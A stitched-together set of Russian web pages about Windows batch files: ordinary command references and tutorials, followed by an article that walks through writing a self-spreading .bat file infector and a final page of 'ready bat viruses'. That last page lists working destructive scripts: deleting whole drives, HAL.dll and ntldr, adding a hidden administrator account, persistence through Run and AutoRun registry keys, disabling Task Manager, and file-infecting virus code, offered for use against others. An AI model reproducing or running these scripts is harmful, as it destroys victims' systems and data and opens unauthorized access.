Бат команды: Справка по командам и параметрам BAT-файла

Содержание

Список команд для пакетного (*.bat, *.cmd) файла | Разработка и дизайн

Пакетный файл — это файл с расширением .bat, содержащий сценарий для исполнения в среде Windows. Расширение в свою очередь образовано от англ. batch file, в просторечии — пакетник, батник, батничек …

Для получения сведений об определенной команде наберите HELP <имя команды>
ASSOC    Вывод либо изменение сопоставлений по расширениям имен файлов.
AT       Выполнение команд и запуск программ по расписанию.
ATTRIB   Отображение и изменение атрибутов файлов.
BREAK    Включение/выключение режима обработки комбинации клавиш CTRL+C.
CACLS    Отображение/редактирование списков управления доступом (ACL) к файлам.
CALL     Вызов одного пакетного файла из другого.
CD       Вывод имени либо смена текущей папки.
CHCP     Вывод либо установка активной кодовой страницы.
CHDIR    Вывод имени либо смена текущей папки.
CHKDSK   Проверка диска и вывод статистики.
CHKNTFS

  Отображение или изменение выполнения проверки диска во время загрузки.
CLS      Очистка экрана.
CMD      Запуск еще одного интерпретатора командных строк Windows.
COLOR    Установка цвета текста и фона, используемых по умолчанию.
COMP     Сравнение содержимого двух файлов или двух наборов файлов.
COMPACT  Отображение/изменение сжатия файлов в разделах NTFS.
CONVERT  Преобразование дисковых томов FAT в NTFS. Нельзя выполнить
         преобразование текущего активного диска.
COPY     Копирование одного или нескольких файлов в другое место.
DATE     Вывод либо установка текущей даты.
DEL      Удаление одного или нескольких файлов.
DIR      Вывод списка файлов и подпапок из указанной папки.
DISKCOMP Сравнение содержимого двух гибких дисков.
DISKCOPY Копирование содержимого одного гибкого диска на другой.
DOSKEY   Редактирование и повторный вызов командных строк; создание макросов.
ECHO     Вывод сообщений и переключение режима отображения команд на экране.
ENDLOCAL Конец локальных изменений среды для пакетного файла.
ERASE    Удаление одного или нескольких файлов.
EXIT     Завершение работы программы CMD.EXE (интерпретатора командных строк).
FC       Сравнение двух файлов или двух наборов файлов и вывод различий между
         ними.
FIND     Поиск текстовой строки в одном или нескольких файлах.
FINDSTR  Поиск строк в файлах.
FOR      Запуск указанной команды для каждого из файлов в наборе.
FORMAT   Форматирование диска для работы с Windows.
FTYPE    Вывод либо изменение типов файлов, используемых при сопоставлении по
         расширениям имен файлов.
GOTO     Передача управления в отмеченную строку пакетного файла.
GRAFTABL Позволяет Windows отображать расширенный набор символов в графическом
         режиме.
HELP     Выводит справочную информацию о командах Windows.
IF       Оператор условного выполнения команд в пакетном файле.
LABEL    Создание, изменение и удаление меток тома для дисков.
MD       Создание папки.
MKDIR    Создание папки.
MODE     Конфигурирование системных устройств.
MORE     Последовательный вывод данных по частям размером в один экран.
MOVE     Перемещение одного или нескольких файлов из одной папки в другую.
PATH     Вывод либо установка пути поиска исполняемых файлов.
PAUSE    Приостановка выполнения пакетного файла и вывод сообщения.
POPD     Восстановление предыдущего значения текущей активной папки,
         сохраненного с помощью команды PUSHD.
PRINT    Вывод на печать содержимого текстовых файлов.
PROMPT   Изменение приглашения в командной строке Windows.
PUSHD    Сохранение значения текущей активной папки и переход к другой папке.
RD       Удаление папки.
RECOVER  Восстановление читаемой информации с плохого или поврежденного диска.
REM      Помещение комментариев в пакетные файлы и файл CONFIG.SYS.
REN      Переименование файлов и папок.
RENAME   Переименование файлов и папок.
REPLACE  Замещение файлов.
RMDIR    Удаление папки.
SET      Вывод, установка и удаление переменных среды Windows.
SETLOCAL Начало локальных изменений среды для пакетного файла.
SHIFT    Изменение содержимого (сдвиг) подставляемых параметров для пакетного
         файла.
SORT     Сортировка ввода.
START    Запуск программы или команды в отдельном окне.
SUBST    Сопоставляет заданному пути имя диска.
TIME     Вывод и установка системного времени.
TITLE
    Назначение заголовка окна для текущего сеанса интерпретатора
         командных строк CMD.EXE.
TREE     Графическое отображение структуры папок заданного диска или заданной
         папки.
TYPE     Вывод на экран содержимого текстовых файлов.
VER      Вывод сведений о версии Windows.
VERIFY   Установка режима проверки правильности записи файлов на диск.
VOL      Вывод метки и серийного номера тома для диска.
XCOPY    Копирование файлов и дерева папок.


см. Описание команд от Microsoft(c)

Метки : пакетник, bat, файл, date, дата, команд, cmd


Читайте также


Включите JavaScript чтобы видеть комментарии Disqus

Команды bat файла | Компьютерная помощь

В прошлом материале Мы пробовали создать bat файл в Windows 7, 8, теперь пришло время рассмотреть bat команды. В основном  тут используются  команды вводимые в cmd, но есть и такие, которые нет смысла использовать в командной строке.

Как получить полный список bat команд

Для описания всех команд потребуется написать целый ряд статей, чтобы Вас сильно не нагружать ограничимся в рамках одной статьи и рассмотрим компактную информацию. Как известно, команды bat файла  и cmdодни и те же, чтобы получить их список запустите cmd в Виндовс 7 или командную строку в Windows 8. Введите команду справки, которая по-английски пишется как help, нажмите Enter. В результате компьютер в интерфейсе cmd пропишет все команды с кратким описанием.

Ознакомившись с данным списком, Вы захотите узнать поподробнее, что представляет собой определенная bat команда. Например, выберем команду for, для ее описания введем help for или for /? и кликнем энтер. В результате Вы получите оперативную справку по команде, она объемная, поэтому потребуется нажать несколько раз любую клавишу, чтобы ознакомиться с последующим описанием. Таким образом, можно изучить синтаксис той или иной команды.

Команды bat файла

Сейчас познакомимся с командами, используемыми в пакетном файле, с кратким описанием. Они не чувствительны к регистру, тем не менее, Мы их перечислили в верхнем регистре, чтобы помочь с идентификацией.

@Все выполняемые bat команды выводятся на экран, чтобы убрать лишнее, перед командой ставится «собака». Часто используется с @echo off.
setЗадает переменные. Например, setper=c:\windows здесь per присваиваем путь. В переменную можно записать громоздкое значение и указать ее в сценарии, что сделает код компактнее. Если ее содержание изменится, тогда не придется менять везде значения, где предусмотрена эта переменная.
::Один из двух методов комментирования в bat файле без вывода этой строки на экран.
:LABELПри добавлении к слову двоеточия, создается метка, которая позволяет перейти к разным разделам батника. Метка может носить другое название, LABEL это пример.
CALLBat команда, вызывающая один пакетный файл в другом. Все параметры, описанные в одном из файлов, могут быть переданы друг другу.
CHOICEКоманда выбора.
CLSОчищает содержимое командного интерпретатора, что выведено на экран выше  CLS.
ECHOВыводит сообщение на экран. Например, «ECHO Привет!» выведет «Привет!». Если не использовать @ECHO off в начале пакетного файла, тогда Вы увидите путь к bat файлу и два сообщения, что является излишним. Вы можете создать пустую строку введите ECHO. с точкой в конце.
EXITЗавершает текущий пакетный сценарий.
GOTO LABELИспользуется для перехода к определенной метки, в данном случае к LABEL и исполняет сценарий после нее.
IFКак и в языках программирования batкоманда ifолицетворяет выполнение условия, в зависимости от которого сценарий пойдет по тому или иному пути. С синтаксисом знакомьтесь в справке.
forЦикл, используемый для организации выполнения одних и тех же действий.
PAUSEЕсли необходимо ознакомиться с результатом сценария, а он выполняется, и окно быстро закрывается, тогда используйте PAUSE. Она позволит посмотреть результат и завершить сценарий по нажатию любой кнопки.
REMВторой способ комментирования. В отличии от :: печатается на экране, если нет конструкции @ECHO off.
SHIFTИзменяет  положение пакетных параметров в bat файле.
STARTЗапускает программы, окна и т.д. Имеет множество атрибутов (смотрите справку).

Это является основой bat команд. Синтаксис некоторых элементов сложен для новичков и требует определенные знания. Все команды bat файла, описанные выше, рассмотрены поверхностно, с целью узнать их предназначение, а полный синтаксис Вы найдете в справке Windows.

Посмотрите еще статьи:

Вы можете пропустить чтение записи и оставить комментарий. Размещение ссылок запрещено.

Bat вирус | Бат вирус. Команды


! Внимание. Вся приведенная информация в статье приводится ИСКЛЮЧИТЕЛЬНО в образовательных целях. Вся информация взята из открытых источников, в том числе из справки Майкрософт !

Что такое BAT вирус (БАТ вирус)

Прежде — .bat это расширение для текстовых файлов с набором команд сценариев (скрипт) командного интерпретатора. В переводе с английского — batch file означает пакетный файл. Имеет синтаксис наиболее близок к набору команд древней ОС MS DOS (ныне — подсистема ОС Windows). Используется для автоматизации некоторых процессов, например, запуск программ с определенными параметрами.

БАТ, как скриптовый язык программирования, является достаточно примитивным и значительно уступает даже таким языкам сценариев, как VBS (Visual Basic Script). Но пакетные файлы позволяют выполнять достаточно большой объем задач, чтобы создавать на них различных зловредов. Например, можно в пакетном файле прописать команды для удаления системных файлов, что может привести к нестабильности работы системы. Подобное действие — удаление чего-либо, может выполниться и вручную. Скрипт позволяет это автоматизировать.

Важное уточнение. В батниках можно реализовать различные типы зловредов. Это могут быть программы-шутники, которые будут «подшучивать» над пользователем, например, прятать курсор мышки или выполнять перезагрузку компьютера. Такие скрипты будут скорее относиться к категории троянов — программ, выполняющие скрытые, часто небезопасные действия.

Цель же этой статьи — скрипты, которые будут относиться к категории компьютерных вирусов. То есть программы, которые будут находить определенные типы файлов и заражать их. По способу заражения наш скрипт будет соответствовать опасным нерезидентным вирусам. Наша программа будет пролистать все папки, начиная с корня диска С:\\, производя поиск других батников, замещать собой код (текст) атакуемого файла. Нерезидентный означает, что наш зловред будет получать управление только при непосредственном запуске, без возможности находиться постоянно в памяти компьютера.

Также обрати внимание — далее скрипт БАТ вируса будет приведен по частям. Сделано это по причине того, что все директивы, написанные вместе могут детектироваться как вредоносная программа и блокироваться антивирусами или встроенным защитником Windows. Приведенной информации вполне хватит, чтобы собрать своего «зверя».

Команды BAT вируса

@echo off

Это наша первая команда, которая будет «возглавлять» наш код. Она означает, что при чтении командным интерпретатором нашего батника не будет выводиться на экран его содержимое. Без этой команды на экране компьютера появлялось бы все, что находится внутри сценария. Даже то, что не должно выводиться.

set filet="*.bat"

Команда set объявляет переменную filet. В этой переменной будет маска для поиска, в нашем случае это файлы с расширением .bat. Можно обойтись и без использовании переменной, но используем эту строчку.

cd C:\\

Команда cd меняет текущий каталог. По умолчанию — текущий каталог тот, в котором находится наш батник. Если мы не используем эту команду, то наш БАТ вирус будет искать «цели» для атаки начиная с текущего каталога. Для того, чтобы охватить весь компьютер, мы указываем нашему сценарию, что нужно начинать с корня диска С:\\.

Поиск файлов

Находить «цели» мы будем с помощью следующего кода:

FOR /r %%a IN (%filet%) DO (

)

На первый взгляд, это непонятная конструкция, но на самом деле все просто.

Директива FOR указывает нашему сценарию многократное выполнение команд. В нашем случае это поиск всех «целей» в каталоге, после работы с ними переходить к следующему каталогу.

Далее мы вместо терминов «директива» или «команда» относительно FOR будем использовать термин «конструкция», так как будет подразумеваться не только команда FOR, но и ее параметры.

Параметр /r означает, что программа «работает» не только с текущим каталогом, но и со всеми подкаталогами.

%%a

Это переменная нашей конструкции FOR. Вернее, здесь переменная одиночная буква (a). Знак процента (%) указывает, что это не просто буква, а переменная. Двойной знак процента (%%) необходим при работе в конструкции FOR. Также особенность использования переменных в конструкции FOR — использование только одиночных букв.

IN (%filet%)

Здесь мы указываем на параметр конструкции для поиска «целей». Ранее мы объявляли переменную filet, в которой находится значение «.bat». Знак процента (%) с обеих сторон переменной это требования работы с переменными в батниках. Можно было сократить код и обойтись без переменных, но это один из вариантов и в нем есть свои плюсы (отладка, напр

Пакетные командные файлы. Создание BAT файлов. Команды if, for, goto

Всем привет. В этой статье, мы поговорим на такие темы как : Пакетные командные файлы, создание BAT файлов, Команды if, for, goto.

Пакетные командные файлы.

Пакетно командный файл (batch — файл, пакет) — является особой категорией исполняемых файлов, такие файлы имеют расширение *.bat. В отличие от *.exe и *.com — пакетные командные файлы содержат не машинные коды, а текст который интерпретируется командным процессором.

Пакетно командный файл может содержать:

  1. Внутренние команды (команды работы с файлами и каталогами и системного назначения).
  2. Внешние команды.
  3. Специальные команды, выполняемые только когда прописаны в самом пакетном файле.
  4. Команды ветвления (if).
  5. Метки перехода (goto).
  6. Обращения к исполняемым файлам и вызов других пакетных файлов.

Каждой внешней команде должен соответствовать физический файл на диске…

Создание BAT файлов:

  • С помощью команды copycon имя_файла.bat.
  • Используя команды редиректа (>, >>).
  • С помощью редакторов (блокнот).
  • Используя команду edit имя_файла.bat.

Вызов пакетного файла:

  1. Двойным кликом мыши.
  2. С помощью командной строки, находясь в каталоге где расположеный файл, набрав имя_файла.bat.

Теперь разберем создание BAT файлов на примере. Создадим командный файл, который выполняет отчистку экрана, сообщает текущую версию операционной системы, переходит на диск С и выводит содержимое текущего каталога с паузами при заполнении экрана. Открываем блокнот и начинаем писать наш файл. Команда отчистки экрана это естественно CLS, далее выводим версию ОС с помощью комманды VER, переходим на диск С:, и выводим его содержимое с паузами использовав команду dir и ключ /p.

В общем код получиться вот такой:

cls
ver
c:
dir/p

Команды if, for, goto.

Данные команды являются основными при создании командного файла, и знать их крайне необходимо, далее разберем каждую из них по отдельности и напишем bat файлы с их использованием.

if — Позволяет проверить условие и выполняет ветвление в зависимости от результата проверки.
for — Обеспечивает циклическое выполнение команд.
goto — Позваляет передавать управление на метку и тем самым осуществляет повторное выполнение участков командного файла или наоборот, обходит некоторые участки.

Теперь давайте расмотрим пример написания bat файла с использованием некоторых из основных команд. Наша задача будет заключаться в том, чтоб создать bat файл, который проверяет наличие файла AIDSTEST.EXE в каталоге TOOLS диска С, если файл найден\ненайден должно выводиться сообщение о результате поиска.

В общем код получиться вот такой:

C:
CD TOOLS —/переход в каталог TOOLS/—
IF EXIST AIDSTEST.EXE GOTO MI —/проверка файла AIDSTEST.EXE/—
ECHO ФАЙЛ AIDSTEST.EXE не найден. —/вывод на экран сообщения/—
GOTO END —/переход на метку END/—
:MI —/метка/—
ECHO ФАЙЛ AIDSTEST.EXE найден. —/вывод на экран сообщения/—
:END —/метка/—

На этом данную статью я заканчиваю, надеюсь, вы полностью разобрались с темами: Пакетные командные файлы, создание BAT файлов, Команды if, for, goto.

Pers.narod.ru. Программы. BAT-файлы. Командные файлы в DOS/Windows

Pers.narod.ru. Программы. BAT-файлы. Командные файлы в DOS/Windows

Этот сайт больше не обновляется. Подключите Javascript, чтобы увидеть новый адрес страницы или перейдите к статье

Материал по теме «Командные файлы»

 1. Определение командного файла. Командные (пакетные) файлы — особая категория исполняемых файлов. 

Расширение: *.bat (от англ. batch — «пакет», «группа»).  Запуск командного файла осуществляется  так же, как запуск исполняемой программы, то есть, указывается имя файла и, если требуется, параметры.

Назначение: BAT-файлы служат  для организации взаимодействия пользователей с прикладными  программами.

Состав: текст,  который интерпретируется командным процессором. Строки этого текста могут представлять собой:

  • внешние или внутренние команды ОС;
  • обращения к исполняемым программам *.COM или *.EXE, и вызовы других командных файлов;
  • команды для управления выдачей на экран, а также для организации ветвлений и циклов;
  • метки, на которые совершается переход при выполнении заданного в файле условия.

Каждая команда находится на отдельной строке.

 2. Команды пакетной обработки.

 а) REM                  комментарий в тексте файла. Обычно используют, чтобы временно убрать из текста какую-либо команду. Формат: REM [любая строка]

б) ECHO                               вывод на экран сообщений. Формат: ECHO [ON или OFF или Сообщение]

Параметры ON и OFF включают и выключают выдачу на экран системных сообщений («эха»).  Команда  ECHO  OFF используется, чтобы не  «засорять»  экран  при исполнении BAT-файла. Произвольная строка после ECHO  понимается как сообщение и без  изменений  выводится  на  экран.  Пустая  строка обозначается одной точкой. Примеры:

echo.                                                     Перейти к следующей строке;

echo Программа  не  найдена!       Выдает на экран сообщение «Программа не найдена!».

в) @.  Может быть только первым  символом строки и подавляет ее выдачу на экран.  Используется  только  в пакетном режиме. Пример:

 @echo off                           Выключаем «эхо»; из-за символа @ сама команда echo off тоже не выводится  на  экран;  этой  строкой  обычно начинаются командные файлы.

г) PAUSE              приостанавливает  вывод  на  экран,  выводит сообщение  «Нажмите любую клавишу…» и ждет нажатия любой клавиши.  Параметров не имеет.

д) IF  позволяет  проверять  условие  и  выполнять  ветвление  в  зависимости от результата проверки.

Общий вид команды: IF [NOT] [условие] [действие],  где «действие»  — любая команда,  выполняемая,  если истинно условие. Условие записывается в одной из трех форм,  поэтому команда IF имеет три формата.

Формат 1.  Проверка кода завершения  последней  перед  оператором  IF  команды. Используется конструкция следующего вида:  IF ERRORLEVEL число

Любая программа может  выработать в момент своего окончания собственный код завершения, который доступен  другим  программам  через переменную с именем ERRORLEVEL. Большинство команд и программ при нормальном  завершении устанавливают errorlevel=0. Задав условие if errorlevel 1, Вы  определите,  что  оно  будет выполнено,  если программа вырабатывает код  завершения больший, либо равный 1.

Формат 2. Проверка наличия файла в каталоге. Оператор IF имеет вид: IF EXIST имя файла

Команда проверяет, существует ли файл с заданным именем.  При обнаружении файла условие считается выполненным.  Можно использовать маску — тогда условие выполнено, если найден хотя бы один подходящий файл.

Формат 3. Сравнение двух строк. Оператор имеет вид:  IF [строка_1]==[строка_2]

Условие выполняется, если строки 1 и 2 совпадают. Чтобы застраховаться от случая,  когда одна из строк оказывается пустой, обе строки заключают в одинаковые символы, например, в квадратные скобки.

Любое из этих трех условий может задаваться со знаком логического отрицания NOT.  При этом истинность условия трактуется в обратном  смысле. Примеры:

if exist c:\autoexec.bat type c:\autoexec.bat 

если в головном каталоге диска c: есть файл autoexec.bat, вывести его на экран;

if not exist c:\WORK\*.* echo Нет файлов!

если в каталоге WORK нет ни одного файла, вывести соответствующее сообщение;

format a:

if errorlevel 1 echo Форматирование прошло не безупречно!

если программа format установила errorlevel больше  нуля,сообщить  об ошибке;

if %A%==Yes cls

если переменная с именем A равна строке ‘Yes’,  очистить экран.

Аналогично команда IF может использоваться из командной строки.

е) GOTO позволяет передавать управление на  заданную метку  Формат команды:  GOTO метка

Метка  начинается со знака : Пример:

if  %A%==Yes goto Clear

goto Not_Clear

:Clear

cls

:Not_Clear

Если переменная A совпадает со строкой Yes,  перейти на метку Clear и очистить экран. В противном случае пропустить очистку экрана.

ж) CALL осуществляет вызов одного командного файла из другого с последующим возвратом в вызывающий файл. Формат команды:  CALL [имя файла]

В имени вызываемого файла могут  содержаться дополнительные параметры,  которые обрабатываются вызванным файлом. Пример:

Вызывающий командный файл: (example.bat)

@echo off

echo Файл запущен!

call version

echo Продолжаем!

Вызываемый командный файл: (version.bat)

@echo off

echo Ваша версия операционной системы:

ver

pause

example.bat вызывает version.bat, после выполнения которого вновь получает управление.

з) Переменные в командных файлах используются для обмена информацией между отдельными  командами. Существуют два их вида:

1) переменная,  определяемая в цикле. Ее имя состоит символа процента (в старых версиях DOS/Windows — двух символов) и последующих букв,  например, %A. Набор значений, которые последовательно принимает такая переменная,  задается при ее определении в команде for (см. ниже).

2) переменная окружения. Она определяется  внутренней командой DOS вида

SET [имя]=[значение],

где имя и значение — произвольные строки,  и в течение  всего  сеанса работы хранится в специальной области памяти,  называемой «системным окружением».  Системное окружение  управляется  командным  интерпретатором command.com.  Чтобы  использовать переменную окружения в командном файле нужно ее имя заключить в символы процента %, например, командами

set weekday=sunday

echo %weekday%

переменной с  именем weekday присваивают значение sunday и выводят ее значение на экран командой ECHO.  Для удаления переменной  из  окружения используют строку вида set имя=

Для просмотра окружения можно использовать команду SET без параметров.

В DOS и Windows, как правило, используются следующие стандартные переменные окружения:

  • winbootdir Главный каталог ОС Windows (в версиях NT/2000 может называться SystemRoot)
  • COMSPEC Полное имя текущего командного процессора
  • PROMPT Вид строки приглашения диалогового режима
  • TEMP Каталог для временных файлов (иcпользуется также TMP)
  • PATH Список путей, по которым ищутся исполняемые программы, если путь не указан при запуске программы. По умолчанию программа ищется сначала в текущей папке, затем в папках, перечисленных в PATH. Пути разделяются символом ;

 и) FOR обеспечивает циклическое выполнение  команд.  Формат:  FOR переменная IN (набор) DO действие

Понятие переменной  определено выше.  Набор — это одна или несколько строк,  разделенных пробелами или запятыми. Чаще всего в качестве  элементов набора выступают имена файлов или маски.  Действие — любая допустимая команда.  Цикл работает следующим  образом:  переменная последовательно  принимает значения элементов набора и они подставляются в текст команды. Примеры:

For %a in (*.txt) do copy %a con

Переменной %%a  последовательно присваиваются имена файлов с расширением txt из текущего каталога и каждый файл выводится на экран.

for %r in (*.*) do if exist a:\%r echo %r есть на диске a:

Команда перебирает файлы текущей директории и выясняет,  есть  ли  на диске a:  файл с таким же именем. Если такой файл существует, печатается сообщение. Вместо переменной %%r в команде ECHO каждый раз подставляется очередное имя файла.

for %z in (0,1,2,3,4,5,6,7,8,9) do if %z==%test% echo z=test=%z

Если переменная %z, принимающая значения цифр от 0 до 9, совпадает с переменной окружения test, печатается сообщение.

FOR может использоваться и в командной строке,  например, для многократного выполнения команды, в которой нельзя использовать маску. Пример:

FOR %A IN (*.txt) DO TYPE %A

Все найденные в текущей директории файлы с расширением TXT последовательно выводятся на экран.

 к) Параметры командного файла.  При запуске  из  командной  строки командному файлу могут быть переданы параметры.  Они разделяются пробелами  и  количество  их не может превышать девяти.  Изнутри пакетного файла параметры доступны через строки вида %0,  %1,  …,  %9, где %0 — имя самого  командного файла,  %1 — имя первого параметра и так далее.  Например, мы  запускаем командный файл MOVA.BAT командой mova.bat *.tmp *.txt *.doc

После запуска параметр %0 равен  строке  «mova.bat»,  параметр  %1 — строке «*.tmp» и т.  д. Наш командный файл должен перемещать файлы, подходящие под переданные ему маски,  на диск a:. Для первого параметра это легко сделать двумя командами:  copy %1 a:\%1 и del %1.  Первая копирует  файлы на диск a:,  вторая уничтожает источник копирования.  Для  второго  параметра мы могли бы повторить те же команды, подставив в них %2 вместо  %1. Но программа сразу же становится нерациональной, тем более, что число параметров заранее неизвестно.  Помочь нам может команда SHIFT, которая сдвигает параметры командного файла на один влево.  После применения SHIFT параметру %0 присваивается старое значение %1,  в нашем случае это  строка «*.tmp»,  а параметр %1 принимает значение «*.txt».  Теперь этими  же  двумя командами мы можем обработать любое число параметров.  Позаботившись об условии выхода из программы, получаем ее окончательный текст:

@echo off

:LOOP

copy %1 a:\%1

del %1

shift

if not [%1]==[] goto LOOP

Благодаря команде SHIFT мы каждый раз обращаемся лишь  к  первому  из  переданных параметров и правильность работы не зависит от числа переданных параметров.  Если очередная строка с маской не пуста,  оператор goto  LOOP передает управление к началу программы.

 л) Дополнительные средства для написания командных файлов.

Рассмотренные выше  команды пакетной обработки позволяют организовать  автоматический запуск программ и обработку файлов.  Не хватает лишь возможностей пользователя влиять на этот процесс,  в частности, возможности  выполнять действия в зависимости от выбора с клавиатуры.

В состав большинства версий DOS/Windows включена внешняя команда choice, служащая для выбора действия. Формат команды:

CHOICE [/C:клавиши] [/N] [/T:выбор,время] [сообщение]

Здесь сообщение — любая строка текста,  клавиши  —  список  буквенных  обозначений  клавиш,  допустимых  для  выбора.  По умолчанию прописные и  строчные буквы не различаются,  а если список клавиш не указан, принимается /C:YN.  Параметр /N запрещает вывод после сообщения списка клавиш и  знака вопроса,  а после параметра /T могут быть указаны выбор, принимаемый при отсутствии ввода с клавиатуры и время в секундах,  через которое  он будет сделан.

Результат работы команды — установка значения ERRORLEVEL  равным  порядковому номеру в списке выбранной клавиши.  Например,  после ввода команды

choice /c:01 /n /t:0,5 Продолжить?(1-да,0-нет)

значение ERRORLEVEL будет установлено в 1 при нажатии клавиши  0  или  отсутствии ввода с клавиатуры в течении 5 секунд,  а при нажатии клавиши 1 программа установит значение ERRORLEVEL, равное 2.

Скачать CHOICE.COM в архиве ZIP (2 Кб)


Команды Для Bat-вирусов / Готовые Bat Вирусы | GuardianeLinks

Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер
@echo off
shutdown -s -t 1 -c «lol» >nul

Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c «lol» >nul

Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

Удаление дров
@echo off
del «%SystemRoot%\Driver Cache\i386\driver.cab» /f /q >nul

Удаляет звуки Windows
@echo off
del «%SystemRoot%\Media» /q >nul

Запрещает заходить в панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши
del «%SystemRoot%Cursors*.*» >nul

Меняет название корзины
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q

Удаляет все файлы в program files
del c:Program Files/q

Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul

Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul

Удаляет команду DEL
del %0

Будет открывать бесконечно Paint
😡
Start mspaint
goto x

Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt

Заражает Autoexec
copy «»%0″» «%SystemRoot%\system32\batinit.bat» >nul
reg add «HKCU\SOFTWARE\Microsoft\Command Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%\syste m32\batinit.bat» /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «support» /t reg_dword /d 0 y

сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton

Удаляет ядро системы
del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32.dat» >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

Вирус который убивает Винду. Не проверяйте на своем компьютере=)
@echo This virus created by LIZA
@echo Virus: pcforumhack.ru™ Virus
@echo Autor: LIZA
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll.bat
reg add «hklm\Software\Microsoft\Windows\CurrentVersion\Run» /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoDrives /t REG_DWORD /d 67108863 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile «C:\ntldr»,1 >> %temp%\temp.vbs
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoSelectDownloadDir» /d 1 /f
reg add «HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown» /v «IExplorer» /d 0 /f
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoFindFiles» /d 1 /f
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoNavButtons» /d 1 /f
echo fso.deletefolder «D:\Windows»,1 >> %temp%\temp.vbs
echo fso.deletefolder «I:\Windows»,1 >> %temp%\temp.vbs
